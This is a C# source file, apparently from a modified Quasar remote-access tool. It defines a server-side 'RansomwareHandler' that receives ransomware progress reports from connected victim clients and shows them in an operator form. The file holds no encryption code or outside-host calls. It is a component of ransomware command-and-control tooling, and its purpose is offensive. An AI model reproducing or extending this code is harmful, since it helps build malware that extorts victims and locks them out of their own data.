using Quasar.Common.Messages;
using Quasar.Common.Networking;
using Quasar.Server.Forms;
using Quasar.Server.Networking;
using System.Collections.Generic;
using System.Linq;

namespace Quasar.Server.Messages
{
    public class RansomwareHandler : IMessageProcessor
    {
        private static readonly Dictionary<Client, FrmRansomware> _forms = new Dictionary<Client, FrmRansomware>();

        public bool CanExecute(IMessage message) => message is RansomwareResponse;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case RansomwareResponse response:
                    Execute((Client)sender, response);
                    break;
            }
        }

        private void Execute(Client client, RansomwareResponse response)
        {
            lock (_forms)
            {
                if (_forms.ContainsKey(client))
                {
                    _forms[client].UpdateProgress(response);
                }
            }
        }

        public static void RegisterForm(Client client, FrmRansomware form)
        {
            lock (_forms)
            {
                if (_forms.ContainsKey(client))
                {
                    _forms[client].Close();
                }
                _forms[client] = form;
            }
        }

        public static void UnregisterForm(Client client)
        {
            lock (_forms)
            {
                _forms.Remove(client);
            }
        }
    }
}
